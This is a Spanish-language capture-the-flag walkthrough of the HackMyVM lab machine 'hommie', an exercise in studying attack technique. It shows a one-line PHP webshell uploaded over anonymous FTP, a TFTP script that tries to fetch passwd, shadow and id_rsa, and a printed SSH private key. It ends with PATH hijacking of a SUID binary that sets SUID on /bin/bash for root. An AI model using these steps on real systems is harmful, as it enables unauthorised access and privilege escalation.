hommie HackMyVM (Easy- Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-22 12:58 EDT
Nmap scan report for 192.168.28.20
Host is up (0.00066s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.28.19
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0               0 Sep 30  2020 index.html
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 c6:27:ab:53:ab:b9:c0:20:37:36:52:a9:60:d3:53:fc (RSA)
|   256 48:3b:28:1f:9a:23:da:71:f6:05:0b:a5:a6:c8:b7:b0 (ECDSA)
|_  256 b3:2e:7c:ff:62:2d:53:dd:63:97:d4:47:72:c8:4e:30 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:F3:9F:7C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds

Vemos varios puertos interesantes, entre ellos el FTP y el puerto 80, vamos a probar a intentar meternos por el FTP de forma anonima.

FTP

ftp anonymous@<IP>

Si dejamos la contraseña en blanco veremos que si nos deja y entraremos en el servidor de FTP, si listamos el contenido veremos lo siguiente:

229 Entering Extended Passive Mode (|||46130|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        113          4096 Sep 30  2020 .
drwxr-xr-x    3 0        113          4096 Sep 30  2020 ..
drwxrwxr-x    2 0        113          4096 Sep 30  2020 .web
-rw-r--r--    1 0        0               0 Sep 30  2020 index.html
226 Directory send OK.

Vemos ya una idea de lo que puede ser, si nos pasamos el primer index.html veremos que esta vacio, pero si entramos a .web/ veremos otro index.html que si nos lo pasamos a nuestro host:

cd .web/
get index.html

Info:

alexia, Your id_rsa is exposed, please move it!!!!!
Im fighting regarding reverse shells!
-nobody

Y vemos que contiene, veremos el mismo texto que en la pagina web del puerto 80, por lo que se nos ocurre subir un archivo .php para generarnos una reverse shell:

webshell.php

<?php system($_GET['cmd']); ?>

Ahora vamos a subir este archivo a la carpeta .web/ del servidor FTP de la siguiente forma:

put webshell.php

Si nos vamos a la pagina web del puerto 80 y ponemos lo siguiente para probar:

URL = http://<IP>/webshell.php?cmd=whoami

Pero veremos que no funciona, posiblemente por que no tenga PHP instalado, por lo que vamos a realizar un poco mas de fuzzing.

Nmap (UDP)

Tras investigar mucho si probamos a enumerar los puertos por UDP en vez de por TCP veremos lo siguiente:

nmap -sU --open -Pn -n -v <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-22 13:21 EDT
Initiating ARP Ping Scan at 13:21
Scanning 192.168.28.20 [1 port]
Completed ARP Ping Scan at 13:21, 0.06s elapsed (1 total hosts)
Initiating UDP Scan at 13:21
Scanning 192.168.28.20 [1000 ports]
Increasing send delay for 192.168.28.20 from 0 to 50 due to max_successful_tryno increase to 4
Increasing send delay for 192.168.28.20 from 50 to 100 due to max_successful_tryno increase to 5
Increasing send delay for 192.168.28.20 from 100 to 200 due to max_successful_tryno increase to 6
Increasing send delay for 192.168.28.20 from 200 to 400 due to 11 out of 11 dropped probes since last increase.
UDP Scan Timing: About 4.51% done; ETC: 13:32 (0:10:56 remaining)
Increasing send delay for 192.168.28.20 from 400 to 800 due to 11 out of 12 dropped probes since last increase.
UDP Scan Timing: About 7.17% done; ETC: 13:35 (0:13:09 remaining)
UDP Scan Timing: About 27.70% done; ETC: 13:38 (0:12:24 remaining)
UDP Scan Timing: About 32.77% done; ETC: 13:38 (0:11:29 remaining)
UDP Scan Timing: About 38.45% done; ETC: 13:38 (0:10:34 remaining)
UDP Scan Timing: About 44.02% done; ETC: 13:38 (0:09:40 remaining)
UDP Scan Timing: About 49.50% done; ETC: 13:38 (0:08:43 remaining)
UDP Scan Timing: About 54.81% done; ETC: 13:38 (0:07:50 remaining)
UDP Scan Timing: About 59.90% done; ETC: 13:38 (0:06:58 remaining)
UDP Scan Timing: About 65.16% done; ETC: 13:38 (0:06:04 remaining)
UDP Scan Timing: About 70.28% done; ETC: 13:38 (0:05:11 remaining)
UDP Scan Timing: About 75.31% done; ETC: 13:38 (0:04:18 remaining)
UDP Scan Timing: About 80.53% done; ETC: 13:38 (0:03:24 remaining)
UDP Scan Timing: About 85.80% done; ETC: 13:38 (0:02:29 remaining)
UDP Scan Timing: About 90.92% done; ETC: 13:39 (0:01:36 remaining)
UDP Scan Timing: About 95.96% done; ETC: 13:39 (0:00:43 remaining)
Completed UDP Scan at 13:39, 1083.74s elapsed (1000 total ports)
Nmap scan report for 192.168.28.20
Host is up (0.00067s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
MAC Address: 08:00:27:F3:9F:7C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1084.34 seconds
           Raw packets sent: 1394 (64.172KB) | Rcvd: 1086 (78.924KB)

Veremos que por UDP tenemos los puertos tftp y dhcpc, pero el que mas nos interesa es el de tftp, por lo que haremos lo siguiente:

tftp <IP>

Y veremos que funciona, estaremos dentro, pero no podremos listar ni nada de eso, por lo que vamos a realizar un poco de escaneo probando suerte con nombre de archivos que pueden ser importantes si estuvieran en el directorio.

scannTFTP.py

#!/bin/python3

import os
import subprocess

tftp_server = "192.168.28.20"
wordlist = [
    "user.txt", "root.txt", "hosts", "config.txt", "backup.conf", "index.html",
    "robots.txt", "passwd", "shadow", "startup-config", "network.conf",
    "id_rsa", "id_rsa.pub", ".bashrc"
]

for filename in wordlist:
    print(f"[+] Intentando descargar: {filename}")
    try:
        result = subprocess.run(
            ["tftp", tftp_server, "-c", "get", filename],
            capture_output=True,
            timeout=2  # ⏱️ Si tarda más de 2 segundos, salta TimeoutExpired
        )
        if b"Error" not in result.stdout and os.path.exists(filename):
            print(f"    [✓] {filename} descargado.")
        else:
            print(f"    [-] No disponible o acceso denegado.")
    except subprocess.TimeoutExpired:
        print(f"    [✗] Timeout: {filename} tardó demasiado (posible archivo inexistente).")
    except Exception as e:
        print(f"    [!] Error con {filename}: {e}")

Pero recordemos que cuando entramos en la pagina nos pone esto:

alexia, Your id_rsa is exposed, please move it!!!!!
Im fighting regarding reverse shells!
-nobody

Por lo que podremos deducir que puede haber algun id_rsa, pero probaremos a utilizar el script por si descubrieramos algo mas.

python3 scannTFTP.py

Info:

[+] Intentando descargar: user.txt
    [✗] Timeout: user.txt tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: root.txt
    [✗] Timeout: root.txt tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: hosts
    [✗] Timeout: hosts tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: config.txt
    [✗] Timeout: config.txt tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: backup.conf
    [✗] Timeout: backup.conf tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: index.html
    [✗] Timeout: index.html tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: robots.txt
    [✗] Timeout: robots.txt tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: passwd
    [✗] Timeout: passwd tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: shadow
    [✗] Timeout: shadow tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: startup-config
    [✗] Timeout: startup-config tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: network.conf
    [✗] Timeout: network.conf tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: id_rsa
    [✓] id_rsa descargado.
[+] Intentando descargar: id_rsa.pub
    [✗] Timeout: id_rsa.pub tardó demasiado (posible archivo inexistente).
[+] Intentando descargar: .bashrc
    [✗] Timeout: .bashrc tardó demasiado (posible archivo inexistente).

Vemos que el unico que funciono es el de id_rsa, por lo que vamos a probar dicha clave con el usuario alexia ya que comenta en la pagina que es su id_rsa.

Escalate user alexia

SSH

Establecemos los permisos necesarios para la clave PEM:

chmod 600 id_rsa

Ahora si vamos a probar a conectarnos por SSH:

ssh -i id_rsa alexia@<IP>

Info:

The authenticity of host '192.168.28.20 (192.168.28.20)' can't be established.
ED25519 key fingerprint is SHA256:v3AMNdrxbep3tZ0By0ik1/V+ZHj5ZuiffVZSnafj2YA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.28.20' (ED25519) to the list of known hosts.
Linux hommie 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Sep 30 11:06:15 2020
alexia@hommie:~$ whoami
alexia

Veremos que ha funcionado, por lo que leeremos la flag del usuario.

user.txt

Imnotroot

Escalate Privileges

Si probamos a listar los permisos SUID del usuario, veremos lo siguiente:

find / -type f -perm -4000 -ls 2>/dev/null

Info:

140     20 -rwsr-sr-x   1 root     root        16720 Sep 30  2020 /opt/showMetheKey
   146900    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   268129     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   132307     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   131120     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd
   131117     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
   134620     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
   134946     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
   131118     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
   131121     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
   134473     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
   134948     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount

Veremos esta linea bastante interesante:

140  20 -rwsr-sr-x   1 root     root    16720 Sep 30  2020 /opt/showMetheKey

Vamos a ver que hace este binario:

/opt/showMetheKey

Info:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEApwUR2Pvdhsu1RGG0UIWmj2yDNvs+4VLPG0WWisip6oZrjMjJ40h7
V0zdgZSRFhMxx0/E6ilh2MiMbpAuogCqC3MEodzIzHYAJyK4z/lIqUNdHJbgLDyaY26G0y
Rn1XI+RqLi5NUHBPyiWEuQUEZCMOqi5lS1kaiNHmVqx+rlEs6ZUq7Z6lzYs7da3XcFGuOT
gCnBh1Wb4m4e14yF+Syn4wQVh1u/53XGmeB/ClcdAbSKoJswjI1JqCCkxudwRMUYjq309j
QMxa7bbxaJbkb3hLmMuFU7RGEPu7spLvzRwGAzCuU3f60qJVTp65pzFf3x51j3YAMI+ZBq
kyNE1y12swAAA8i6ZpNpumaTaQAAAAdzc2gtcnNhAAABAQCnBRHY+92Gy7VEYbRQhaaPbI
M2+z7hUs8bRZaKyKnqhmuMyMnjSHtXTN2BlJEWEzHHT8TqKWHYyIxukC6iAKoLcwSh3MjM
dgAnIrjP+UipQ10cluAsPJpjbobTJGfVcj5GouLk1QcE/KJYS5BQRkIw6qLmVLWRqI0eZW
rH6uUSzplSrtnqXNizt1rddwUa45OAKcGHVZvibh7XjIX5LKfjBBWHW7/ndcaZ4H8KVx0B
tIqgmzCMjUmoIKTG53BExRiOrfT2NAzFrttvFoluRveEuYy4VTtEYQ+7uyku/NHAYDMK5T
d/rSolVOnrmnMV/fHnWPdgAwj5kGqTI0TXLXazAAAAAwEAAQAAAQBhD7sthEFbAqtXEAi/
+suu8frXSu9h9sPRL4GrKa5FUtTRviZFZWv4cf0QPwyJ7aGyGJNxGZd5aiLiZfwTvZsUiE
Ua47n1yGWSWMVaZ55ob3N/F9czHg0C18qWjcOh8YBrgGGnZn1r0n1uHovBevMghlsgy/2w
pmlMTtfdUo7JfEKbZmsz3auih2/64rmVp3r0YyGrvOpWuV7spnzPNAFUCjPTwgE2RpBVtk
WeiQtF8IedoMqitUsJU9ephyYqvjRemEugkqkALBJt91yBBO6ilulD8Xv1RBsVHUttE/Jz
bu4XlJXVeD10ooFofrsZd/9Ydz4fx49GwtjYnqsda0rBAAAAgGbx1tdwaTPYdEfuK1kBhu
3ln3QHVx3ZkZ7tNQFxxEjYjIPUQcFFoNBQpIUNOhLCphB8agrhcke5+aq5z2nMdXUJ3DO6
0boB4mWSMml6aGpW4AfcDFTybT6V8pwZcThS9FL3K2JmlZbgPlhkX5fyOmh14/i5ti7r9z
HlBkwMfJJPAAAAgQDPt0ouxdkG1kDNhGbGuHSMAsPibivXEB7/wK7XHTwtQZ7cCQTVqbbs
y6FqG0oSaSz4m2DfWSRZc30351lU4ZEoHJmlL8Ul6yvCjMOnzUzkhrIen131h/MStsQYtY
OZgwwdcG2+N7MReMpbDA9FSHLtHoMLUcxShLSX3ccIoWxqAwAAAIEAzdgK1iwvZkOOtM08
QPaLXRINjIKwVdmOk3Q7vFhFRoman0JeyUbEd0qlcXjFzo02MBlBadh+XlsDUqZSWo7gpp
ivFRbnEu2sy02CHilIJ6vXCQnuaflapCNG8MlG5CtpqfyVoYQ3N3d0PfOWLaB13fGeV/wN
0x2HyroKtB+OeZEAAAANYWxleGlhQGhvbW1pZQECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

Vemos que nos esta mostrando un id_rsa pero sera el mismo que utilizamos para meternos en la maquina, por lo que vamos a pasarnos el binario a nuestra maquina host y decompilarlo con la herramienta ghidra:

python3 -m http.server

En la maquina host haremos lo siguiente:

wget http://<IP_VICTIM>:8000/showMetheKey

Una vez que lo tengamos dentro, abriremos la herramienta ghudra crearemos un proyecto nuevo e importaremos el binario showMetheKey para verlo en C#, si nos vamos a la funcion main veremos lo siguiente:

Vemos que se esta ejecutando como root de forma interna y que esta leyendo simplemente la id_rsa del usuario con el que nos hemos metido, pero vemos un fallo y es que utiliza cat con una ruta relativa y no absoluta encima podemos ejecutarlo como el usuario root por lo que podremos realizar una tecnica llamada PATH hijacking/binary hijacking, por lo que haremos lo siguiente:

Vamos a crear un script que ponga permisos SUID a la bash de la siguiente forma:

nano /tmp/cat

#Dentro del nano
#!/bin/bash

chmod u+s /bin/bash
echo "Permisos establecidos de forma correcta!"

Lo guardamos y ahora vamos a modificar el PATH para que cuando lo ejecutemos es ejecute como root el script llamado cat por lo que tendremos que poner que primero vaya a la ruta /tmp para que funcione:

chmod +x /tmp/cat
export PATH=/tmp:$PATH

Ahora si vemos el PATH:

echo $PATH

Info:

/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Veremos que ha funcionado, por lo que vamos a ejecutar de nuevo el binario:

/opt/showMetheKey

Info:

Permisos establecidos de forma correcta!

Por lo que vemos parece que ha funcionado, vamos a comprobarlo de la siguiente forma:

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /bin/bash

Veremos que ha funcionado, por lo que vamos a ejecutar el siguiente comando para ser root:

bash -p

Info:

bash-5.0# whoami
root

Veremos que seremos root, por lo que leeremos la flag de root:

find / -name "root.txt" 2>/dev/null

Info:

/usr/include/root.txt

root.txt

Imnotbatman

Last updated